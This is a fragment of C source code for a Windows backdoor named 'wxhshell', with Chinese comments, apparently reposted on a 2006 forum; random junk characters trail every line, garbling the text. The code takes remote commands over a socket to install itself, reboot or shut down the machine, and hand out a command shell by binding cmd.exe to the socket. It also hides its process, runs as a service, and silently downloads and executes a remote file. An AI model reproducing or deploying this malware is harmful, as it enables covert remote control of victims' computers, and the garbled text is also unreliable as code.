      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P[FV2R~  
    break; /Pk:4,  
  } ZYa\"zp-  
  // 安装 vG~+r<:  
  case 'i': { } ~F~hf>s  
    if(Install()) (0OM "`j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y@3Q;~l,  
    else o&z!6"S<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); paWxanSt  
    break; 0 _A23.Y  
    } +Rqbf  
  // 卸载 SNab   
  case 'r': { (~&w-w3  
    if(Uninstall()) F+uk AT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :3^dF}>  
    else  q>-R3HB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1[-vD=  
    break; 4&{!M _  
    } 2JZdw  
  // 显示 wxhshell 所在路径 ?v4E<iXs  
  case 'p': { NEV p8)w  
    char svExeFile[MAX_PATH]; _R^y\1Qu  
    strcpy(svExeFile,"\n\r"); @ 7W?8  
      strcat(svExeFile,ExeFile); 6{=_718l`  
        send(wsh,svExeFile,strlen(svExeFile),0); vk'rA{x  
    break; 8eJE>g1J  
    } Y5Z!og  
  // 重启 #!})3_Qc(y  
  case 'b': { ^=+e?F`:{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YJ,*(A18  
    if(Boot(REBOOT)) (.?ZKL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ubbnFE&PD  
    else { G;s"h%Xw98  
    closesocket(wsh); NiA4JgM]v  
    ExitThread(0); :, _!pe;H  
    } &94W-zh  
    break; ?3q@f\fZ  
    } M'2r@NR8  
  // 关机 aQUGNa0+d  
  case 'd': { pOA!#Aj)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BpH%STEN  
    if(Boot(SHUTDOWN)) ,Dp0fauJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !9]d |8!  
    else { ,lm=M 5b  
    closesocket(wsh); 9S>g6}[E#0  
    ExitThread(0); +sf .PSz$  
    } !^WHZv4  
    break; S^N {wZo  
    } z vO:"w}  
  // 获取shell P :k+ y$  
  case 's': { <a|@t@R  
    CmdShell(wsh); 8(lR!!=q  
    closesocket(wsh); ^DB{qU  
    ExitThread(0); {@.Vh]  
    break; G1d(,4Xp  
  } `}fw1X5L  
  // 退出 |cd-!iJX-  
  case 'x': { F!yV8XQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zzIr2so  
    CloseIt(wsh); ~<)vKk  
    break; #xT!E:W '  
    } }x:f%Z5h  
  // 离开 -RMi8{  
  case 'q': { Ef@,hX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ck'aHe22'  
    closesocket(wsh); cb$-6ZE/  
    WSACleanup(); & mt)d  
    exit(1); vt1lR5  
    break; !{Z~<Ky  
        } ~OypE4./1  
  } >jTp6tu,  
  } 41V e}%  
 {mTytT  
  // 提示信息 :iPy m}CE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A.En+-[\  
} QDTNx!WL  
  } Kq)MTlP0g  
I#G0, &Gv  
  return; j0mM>X HB  
} 27A!\pn  
NM#- Af*pg  
// shell模块句柄 nxo+?:**  
int CmdShell(SOCKET sock) 9P WY52!  
{ gfgn68k  
STARTUPINFO si; cWLqU  
ZeroMemory(&si,sizeof(si)); A''pS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MX|H}+\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9Q.#\  
PROCESS_INFORMATION ProcessInfo; 'V&Y[7Aeq  
char cmdline[]="cmd"; 09h.1/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _[h8P9YI4  
  return 0; Z(GfK0vU  
} GTl xq%?b  
w$fJ4+  
// 自身启动模式 zpjqEEY;  
int StartFromService(void) =#xK=pRy;  
{ e0HfP v_  
typedef struct F0lOlS   
{ HM9fjl[  
  DWORD ExitStatus; ej(ikj~j  
  DWORD PebBaseAddress; <AoXEu D  
  DWORD AffinityMask; D Ml?o:l  
  DWORD BasePriority; >m6&bfy\q  
  ULONG UniqueProcessId; y 1\'( 1  
  ULONG InheritedFromUniqueProcessId; & E}mX]t  
}   PROCESS_BASIC_INFORMATION; =^;P#kX  
`[fx yg:u  
PROCNTQSIP NtQueryInformationProcess; .u z|/Zy  
vbG]mMJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |j~lkzPnV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~bK9R 0|<  
('[TLHP  
  HANDLE             hProcess; kHK0(bYK  
  PROCESS_BASIC_INFORMATION pbi; </`yd2>  
7'lZg<z{~j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t^tmz PWA  
  if(NULL == hInst ) return 0; gm"#:< )  
b #fTAC;<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ea $aUORm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (eWPis[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 23]Y<->Eu<  
OF U/gaO~  
  if (!NtQueryInformationProcess) return 0; {KL5GowH  
60>.ul2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vu8,(A7D%O  
  if(!hProcess) return 0; !wz/c M;  
s>n(`?@L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T^.Cc--c  
aM3gRp51cj  
  CloseHandle(hProcess); Wr?'$:  
7:E!b=o#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K%5"u'  
if(hProcess==NULL) return 0; e^1uVN  
r(A.<`\   
HMODULE hMod; \}0-^(9zd  
char procName[255]; f58?5(Dc|  
unsigned long cbNeeded; 2{|$T2?e  
V ~{fB~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {R6HG{"IS6  
jNDx,7F-  
  CloseHandle(hProcess); yHo[{,4itA  
RW'nUL?_\  
if(strstr(procName,"services")) return 1; // 以服务启动 07v!Zj  
l@Z6do  
  return 0; // 注册表启动 ay )/q5  
} #U mF-c  
5 `D-  
// 主模块  t+uE  
int StartWxhshell(LPSTR lpCmdLine) (qM j-l  
{ ,M5}4E7L%s  
  SOCKET wsl; r=.A'"Kf  
BOOL val=TRUE; !^c@shLN4  
  int port=0; dEa<g99[?  
  struct sockaddr_in door; $FTO  
m"eteA,"k_  
  if(wscfg.ws_autoins) Install(); )RgGcHT@  
tz NlJ~E  
port=atoi(lpCmdLine); Q,T"ZdQ  
O`1!  
if(port<=0) port=wscfg.ws_port; w4,Ag{t>  
gY-5_Ab  
  WSADATA data; >R,'5:Rw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y$K!7Kq  
Cizvw'XDV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   igL<g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E>LkJSy=  
  door.sin_family = AF_INET; 5Z/7kU= I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T4/fdORS  
  door.sin_port = htons(port); SMr13%KN/  
:nN1e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W*DVi_\$y  
closesocket(wsl); =<@2#E)  
return 1; ! |waK~jK  
} ?4H#G)F  
rf:XRJ <4  
  if(listen(wsl,2) == INVALID_SOCKET) { VXBY8;+Yp  
closesocket(wsl); pO  Iq%0]  
return 1; eDI= nSo  
} 8LkP)]4^sO  
  Wxhshell(wsl); IA zZ1#/3  
  WSACleanup(); +gd2|`#  
^>x|z.  
return 0; qVqRf.-\  
u|#>32kV  
} 4LcX<B U9  
lA(Q@yEW  
// 以NT服务方式启动 /'2O.d0}.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ) /vhclkb  
{ 8F(h*e_?  
DWORD   status = 0; C;+(Zp  
  DWORD   specificError = 0xfffffff; @Hb'8F  
fc=Patg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \`<cH#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .{KjEg 6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `?g`bN`Vn  
  serviceStatus.dwWin32ExitCode     = 0; bu7'oB~:V^  
  serviceStatus.dwServiceSpecificExitCode = 0; 2aZw[7s  
  serviceStatus.dwCheckPoint       = 0; Gc]~w D$  
  serviceStatus.dwWaitHint       = 0; wm{3&m  
-ezY= 0Q&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B5V_e!*5F*  
  if (hServiceStatusHandle==0) return; J&/lx${  
JG[o"&Sd  
status = GetLastError(); thi1kJ`L  
  if (status!=NO_ERROR) _mvxsG  
{ b+-f.!j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XKA&XpF  
    serviceStatus.dwCheckPoint       = 0; 5vAf7\*  
    serviceStatus.dwWaitHint       = 0; WL,&-*JAW  
    serviceStatus.dwWin32ExitCode     = status; rB~W Iu  
    serviceStatus.dwServiceSpecificExitCode = specificError; j:T/iH!YF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); []R? ViG  
    return; lE8&..~l$+  
  } 0 S_':r   
GPhl4#'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X=JmF97  
  serviceStatus.dwCheckPoint       = 0; GDhE[of  
  serviceStatus.dwWaitHint       = 0; 4D%9Rc0 G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '3]p29v{  
} g[ 0<m#"  
v0Dq@Q1  
// 处理NT服务事件,比如:启动、停止 &c(WE RW?-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /iNa'W5\  
{ >SN|?|2U/  
switch(fdwControl) 9Etz:?)b  
{ iI@jZVk  
case SERVICE_CONTROL_STOP: .roqEasu8  
  serviceStatus.dwWin32ExitCode = 0; v8gdU7Ll,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (6CN/A{qe  
  serviceStatus.dwCheckPoint   = 0; M2x["  
  serviceStatus.dwWaitHint     = 0; n,HE0Zn]Y_  
  { OH^N" L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <e]Oa$  
  } q+ KzIde|%  
  return; 1aVa0q<  
case SERVICE_CONTROL_PAUSE: J`q]6qf#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q-Ux<#  
  break; \l"&A  
case SERVICE_CONTROL_CONTINUE: ?&LZB}1R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s](aNe2j  
  break; _zt1 9%Wg  
case SERVICE_CONTROL_INTERROGATE: - K%,^6  
  break; ^_t%kmL`  
}; )VCzn~uf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P1b'%  
} pL1Q7&&c0  
6iEhsL&K  
// 标准应用程序主函数 h mx= 35  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (Rk_-9_E.  
{ 50TA :7  
#j#_cImE  
// 获取操作系统版本 |py6pek|  
OsIsNt=GetOsVer(); uPYmHA} _/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gj\)CBOv  
+_v$!@L8  
  // 从命令行安装 W"{v2xi  
  if(strpbrk(lpCmdLine,"iI")) Install(); QB:i/9  
4k/V BZB  
  // 下载执行文件 lf>*Y.!@me  
if(wscfg.ws_downexe) { =.]l*6W V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [S.ZJUns  
  WinExec(wscfg.ws_filenam,SW_HIDE); RsU3Gi_Zdz  
} kt[:@Nda9  
wxm:7$4C  
if(!OsIsNt) { tx"sH]n  
// 如果时win9x,隐藏进程并且设置为注册表启动 B QcE9~H  
HideProc(); ;U1UFqZ`  
StartWxhshell(lpCmdLine); kyAXRwzI  
} O3N0YGhJ  
else I$Qs;- (  
  if(StartFromService()) 5qg2Zc~  
  // 以服务方式启动 4`Q3v4fOF  
  StartServiceCtrlDispatcher(DispatchTable); ;fw1  
else ky 8ep  
  // 普通方式启动 ml@2wGyf  
  StartWxhshell(lpCmdLine); tNsPB6 Z  
"fg](Cp[z  
return 0; cJM:  
}
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只看该作者 1 发表于: 2006-10-10
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